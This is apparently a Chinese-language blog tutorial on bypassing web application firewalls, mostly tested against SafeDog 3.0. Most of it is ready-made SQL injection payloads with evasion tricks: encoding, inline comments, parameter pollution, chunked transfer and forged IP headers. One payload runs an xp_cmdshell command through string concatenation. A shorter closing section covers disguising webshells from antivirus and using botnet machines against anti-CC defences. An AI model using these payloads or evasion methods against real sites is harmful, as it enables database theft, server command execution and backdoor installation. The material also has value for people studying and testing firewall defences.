waf绕过方法

waf简介:

网站WAF是一款服务器安全防护软件,是为IDC运营商、虚拟主机服务商、企业主机、服务器管理者等用户提供服务器安全防范的实用系统,是集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。常见的系统攻击分为两类:一是利用Web服务器的漏洞进行攻击,如DDOS攻击、病毒木马破坏等攻击;二是利用网页自身的安全漏洞进行攻击,如SQL注入攻击、跨站脚本攻击等。常见攻击方式对网站服务器带来的危害主要集中在病毒木马破坏、网页非法篡改、各类网络攻击带来的威胁。

以下都是用安全狗3.0测试的奥。(很多4.0都已经绕不过去了,重在学习思路)

1、白名单绕过

(注:现在基本都是自定义白名单,不是默认的啦)

360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截

比如:www.spisec.com/pen/news.php?id=1 union select user,password from mysql.user

可以改为:

www.spisec.com/pen/news.php/admin?id=1 union select user,password from mysql.user

或者

www.spisec.com/pen/admin/..\news.php?id=1 union select user,password from mysql.user

详细的见: http://www.wooyun.org/bugs/wooyun-2014-050576

2、大小写绕过

我这里虽然被拦截了但是有的waf是可以绕过的。

3、双写绕过注入

将and双写为anandd

4、编码绕过注入

用bp对and进行两次编码。(因为服务器会自动对URL进行一次URL解码,所以需要把关键字编码两次)

5、内联注释绕过注入

将id=1 and 1=1 写为  id=1/*!and*/1=1  (这种方式安全狗最新版本已经过滤了,但是对很多waf还是有用的)


6、修改请求方式绕过

过滤了get但是没有过滤post、cookie。waf默认是关闭的,

7、复参数绕过  (&id=)

例如一个请求是这样的

GET /pen/news.php?id=1 union select user,password from mysql.user

可以修改为

GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user

很多WAF都可以这样绕,测试最新版WAF能绕过部分语句。

8、特殊字符替换空格

用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的WAF,在sqlserver中可以用/**/代替空格,也可以使用如下方法:

http://192.168.60.68/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5

http://192.168.60.68/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2

特殊字符有:mysql:%0a/**/可以绕过最新版本WAF      sqlerver: /**/

/*|%23--%23|*/ 

/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5

这条语句不行,看一下防护日志,是因为把uaer函数加入黑名单啦。替换user即可。

9、特殊字符拼接  (+)

把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接

如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')

可以改为:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')

10、利用WAF本身的功能绕过

 把"*"替换为空

例:uni*on+sel*ect+1,2,3,4....(这种方法不适用于安全狗)

假如你发现WAF会把"*"替换为空,那么你就可以利用这一特性来进行绕过‍‍‍       http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....

其它方法-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)

11、使用其他变量或者命令对注入语句进行替换

COMMAND | WHAT TO USE INSTEAD

version()| @@version 

concat() | concat_ws()

group_concat() | concat_ws()

= | like

1| MOD(8,7)


12、以上方法组合绕过  

(如果user函数都能绕过去,那基本通杀,因为对user()这样的函数保护的最好)

1、 替换法+URL编码

例:先判断注入点,把and为&&,urlencode后为%26%26      

http://192.168.60.68/sql.php?id=1%20%26%26%20-1=-2

2、注释+替换法

3、内联注释+替换法

1.利用()代替空格

2.利用mysql特性/*!*/执行语句

3.利用/**/混淆代码

我给出的注入语句是:

union/*%00*//*!50010select*/(database/**/()),(user/**/())%23   (50010代表数据库版本)

这里要注意的几点是:

1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的,但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的

2./*!*/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码

3.数据或者函数周围可以无限嵌套()

4.利用好%00  user())

最新过waf方法:http://192.168.60.68/sql.php?id=1/*!union*//*%!aa*//*!select*/1,2,3,4

13、分块传输 (很重要,必须掌握)(4.0也可过)

过post方法 (bp可直接把get方式改为post)

添加http头信息

Transfer-Encoding: Chunked

(4 6 7 2 8 3 这些后面也可以直接加  ;hfdj   来 干扰 也不会影响)

还可以用此方法也可以过(注意观察d)(有的时候可以)


14、云waf直接找真实IP

15、waf工具绕过  (绕云waf很有效)

(这个方法也是伪造IP头。X-Originating-IP: 127.0.0.1

X-Forwarded-For: 127.0.0.1

X-Remote-IP: 127.0.0.1

X-Remote-Addr: 127.0.0.1

X-Client-IP: 127.0.0.1

工具:bp里边插件扩展里bypass waf 。

16、路径随意跳转法 可以使用../来完成

XSS过狗

(其他的语句可进行URL编码)

因为老是弹窗,所以截图,还有很多看突破安全狗文档。

二、网马免杀

1、把马创建成函数,后面只要调用函数就行

2、变量覆盖

3、组合法(怎么组合s)

4、在线加密

5、文件包含

防盗链绕过:修改Referer头。

防cc绕过:可以控制大量的肉鸡同时访问

扩展笔记:(代码加密两个原因:1、绕过过滤waf啥的,2、留后门)

php:mumaasp.com  这个网站有很多后门木马,但是一旦用了会给网站的人留后门,别用啊。

你可能感兴趣的:(waf绕过方法)